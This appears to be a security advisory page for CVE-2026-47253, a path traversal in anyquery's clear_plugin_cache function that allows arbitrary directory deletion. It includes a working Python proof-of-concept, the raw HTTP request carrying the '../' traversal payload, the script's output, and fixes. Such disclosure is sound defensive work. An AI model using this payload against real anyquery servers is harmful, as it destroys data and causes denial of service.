Anyquery CVE-2026-47253
HIGHSeverity by source
AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H
Lifecycle Timeline
2DescriptionGitHub Advisory
Path Traversal in clear_plugin_cache Allows Arbitrary Directory Deletion
| Field | Value |
|---|---|
| Repository | julien040/anyquery |
| Affected version | 0.4.4 |
| Vulnerability | CWE-22 - Improper Limitation of a Pathname to a Restricted Directory |
| Severity | High |
Summary
The SQL scalar function clear_plugin_cache(plugin) in namespace/other_functions.go passes the caller-supplied plugin argument directly to path.Join and then to os.RemoveAll, with only an empty-string check as a guard. Because path.Join silently resolves .. segments, a low-privileged bearer-token holder can submit SELECT clear_plugin_cache('../../../../tmp/target') to the /v1/query HTTP endpoint and delete any directory reachable by the server process. In the verified scenario, a directory outside $XDG_CACHE_HOME/anyquery/plugins/ was successfully deleted, confirming full path-traversal exploitation.
Affected Code
namespace/other_functions.go:46 - pathlib.Join resolves .. segments in attacker-controlled plugin, producing a path outside the cache root
namespace/other_functions.go:53 - os.RemoveAll unconditionally deletes the traversed path
func clear_plugin_cache(plugin string) string {
pathToRemove := pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin)
if plugin == "" {
return "The plugin name is empty"
}
// Remove the directory
err := os.RemoveAll(pathToRemove)
if err != nil {
return err.Error()
}
return ""
}HTTP JSON body.Query → executeQueryLLM (controller/llm.go:420-426) → shell.Run → SQLite clear_plugin_cache(plugin) → pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin) at other_functions.go:46 → os.RemoveAll at other_functions.go:53
Proof of Concept
Prerequisites:
- Docker installed
- Python 3 with
requestspackage (pip install requests)
Step 1 - Build and start the vulnerable service:
docker build -f Dockerfile -t anyquery-vuln002 .
docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002Step 2 - Run the PoC script (separate terminal):
python3 poc.pypoc.py:
#!/usr/bin/env python3
"""PoC reproduction script - julien040/anyquery / VULN-002
Prerequisites:
- Docker image built: docker build -f Dockerfile -t anyquery-vuln002 .
- Container running: docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002
- Python packages: requests (stdlib subprocess also used)
How to run (from this report directory, after Dockerfile service is up):
python3 poc.py
Expected on success:
Final stdout line begins with `RESULT: PASS` confirming that the sentinel
directory outside the cache root was deleted via clear_plugin_cache path traversal.
"""
import subprocess
import sys
import json
import requests
BASE_URL = "http://127.0.0.1:8070"
CONTAINER = "anyquery-vuln002"
# Traversal payload: XDG_CACHE_HOME=/root/.cache, so
# path.Join("/root/.cache","anyquery","plugins","../../../../tmp/poc_sentinel")
# resolves to /tmp/poc_sentinel (4 levels up escapes the cache root).
TRAVERSAL_PLUGIN = "../../../../tmp/poc_sentinel"
SENTINEL_PATH = "/tmp/poc_sentinel"
QUERY = f"SELECT clear_plugin_cache('{TRAVERSAL_PLUGIN}')"
def docker_exec(cmd):
result = subprocess.run(
["docker", "exec", CONTAINER] + cmd,
capture_output=True, text=True
)
return result.returncode, result.stdout, result.stderr
def sentinel_exists():
rc, _, _ = docker_exec(["test", "-d", SENTINEL_PATH])
return rc == 0
# Step 1: create sentinel inside container
print(f"[1] Creating sentinel directory {SENTINEL_PATH} inside container...")
rc, out, err = docker_exec(["mkdir", "-p", SENTINEL_PATH])
if rc != 0:
sys.exit(f"RESULT: FAIL - could not create sentinel: {err}")
if not sentinel_exists():
sys.exit("RESULT: FAIL - sentinel not present after mkdir")
print(f" Sentinel created: {SENTINEL_PATH}")
# Step 2: confirm server is reachable
print("[2] Confirming server is reachable...")
try:
r = requests.get(f"{BASE_URL}/list-tables", timeout=5)
assert r.status_code == 200, f"unexpected status {r.status_code}"
print(f" GET /list-tables → HTTP {r.status_code} OK")
except Exception as e:
sys.exit(f"RESULT: FAIL - server not reachable: {e}")
# Step 3: send traversal request
print("[3] Sending path-traversal payload via POST /execute-query...")
payload = {"query": QUERY}
r = requests.post(
f"{BASE_URL}/execute-query",
headers={"Content-Type": "application/json"},
data=json.dumps(payload),
timeout=10,
)
print(f" HTTP {r.status_code}")
print(f" Body: {r.text.strip()}")
if r.status_code != 200:
sys.exit(f"RESULT: FAIL - unexpected HTTP status {r.status_code}")
# Step 4: verify sentinel is gone
print("[4] Checking whether sentinel was deleted inside container...")
if sentinel_exists():
print(f" Sentinel still present - traversal did not delete it.")
print(f"RESULT: FAIL - {SENTINEL_PATH} still exists after traversal request")
else:
print(f" Sentinel GONE - {SENTINEL_PATH} deleted outside cache root.")
print(f"RESULT: PASS - clear_plugin_cache('{TRAVERSAL_PLUGIN}') deleted {SENTINEL_PATH} (outside /root/.cache/anyquery/plugins/)")HTTP request:
POST /execute-query HTTP/1.1
Host: 127.0.0.1:8070
Content-Type: application/json
{"query": "SELECT clear_plugin_cache('../../../../tmp/poc_sentinel')"}Output:
[1] Creating sentinel directory /tmp/poc_sentinel inside container...
Sentinel created: /tmp/poc_sentinel
[2] Confirming server is reachable...
GET /list-tables → HTTP 200 OK
[3] Sending path-traversal payload via POST /execute-query...
HTTP 200
Body: +----------------------------------------------------+
| clear_plugin_cache('../../../../tmp/poc_sentinel') |
+----------------------------------------------------+
| |
+----------------------------------------------------+
1 results
[4] Checking whether sentinel was deleted inside container...
Sentinel GONE - /tmp/poc_sentinel deleted outside cache root.
RESULT: PASS - clear_plugin_cache('../../../../tmp/poc_sentinel') deleted /tmp/poc_sentinel (outside /root/.cache/anyquery/plugins/)Impact
An authenticated low-privileged API user can delete any directory accessible to the anyquery server process by supplying a ..-traversing plugin name to clear_plugin_cache. Verified impact is permanent deletion of arbitrary directories outside the intended plugin cache boundary ($XDG_CACHE_HOME/anyquery/plugins/). In a realistic deployment, an attacker could target configuration directories, application data, or the user's home directory, causing irreversible data loss and denial of service. There is no confidentiality impact as the function only deletes and does not read data.
Remediation
In namespace/other_functions.go, resolve the full path and confirm it shares the expected cache-root prefix before calling os.RemoveAll:
func clear_plugin_cache(plugin string) string {
if plugin == "" {
return "The plugin name is empty"
}
cacheRoot := pathlib.Join(xdg.CacheHome, "anyquery", "plugins")
pathToRemove := pathlib.Join(cacheRoot, plugin)
rel, err := filepath.Rel(cacheRoot, pathToRemove)
if err != nil || strings.HasPrefix(rel, "..") || rel == ".." {
return "Invalid plugin name"
}
if err := os.RemoveAll(pathToRemove); err != nil {
return err.Error()
}
return ""
}As a defence-in-depth measure, also reject plugin values containing /, \, or a leading . at the input level before the path.Join call, so traversal sequences are blocked at the earliest opportunity.
Articles & Coverage 2
AnalysisAI
Arbitrary directory deletion in julien040/anyquery 0.4.4 and earlier allows an authenticated low-privileged bearer-token holder to delete any directory accessible to the server process by submitting a SQL query that invokes clear_plugin_cache with a path-traversal payload. The flaw stems from path.Join silently resolving '..' segments before os.RemoveAll, and publicly available exploit code exists in the GitHub Security Advisory GHSA-j9rx-rppg-6hh4. Verified impact includes irreversible deletion of files outside the intended $XDG_CACHE_HOME/anyquery/plugins/ cache root, producing data loss and denial of service.
Technical ContextAI
Anyquery (pkg:go/github.com_julien040_anyquery) is a Go-based SQLite-fronted query engine that exposes an HTTP API for executing SQL against heterogeneous data sources. The vulnerability lives in the SQL scalar function clear_plugin_cache(plugin) defined in namespace/other_functions.go, which concatenates the caller-supplied plugin argument into the cache directory using pathlib.Join and then calls os.RemoveAll on the result. The only guard is an empty-string check; because Go's path.Join cleans but does not constrain '..' segments, the resolved path can escape the intended cache root. This is a textbook CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) issue, where attacker-controlled input flows through HTTP body → executeQueryLLM (controller/llm.go) → SQLite function dispatch → filesystem deletion without canonicalisation against an allow-list root.
RemediationAI
Upgrade to anyquery 0.4.5, the vendor-released patch that adds server sandboxing to remediate both CVE-2026-47253 and CVE-2026-50006 per the release notes at https://github.com/julien040/anyquery/releases/tag/0.4.5. If immediate upgrade is not possible, restrict network reachability of the HTTP query endpoint (default port 8070) to trusted hosts only, revoke or rotate bearer tokens shared with untrusted users, and run the anyquery process under a dedicated unprivileged account whose only writable paths are the cache directory itself to bound the blast radius of any RemoveAll call; the trade-off is loss of multi-user API access and potential loss of legitimate write functionality outside the cache. The upstream fix (commit 27f84fc168310455eaf81ec4ba87eed20298670c) introduces sandboxing rather than the prefix-check approach the reporter suggested, so downstream forks applying their own patch should canonicalise the resolved path with filepath.Rel against the cache root and reject any result beginning with '..' before calling os.RemoveAll, and additionally reject plugin values containing '/', '\', or a leading '.' at the API boundary.
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Same weakness CWE-22 – Path Traversal
View allSame technique Denial Of Service
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External POC / Exploit Code
Leaving vuln.today
GHSA-j9rx-rppg-6hh4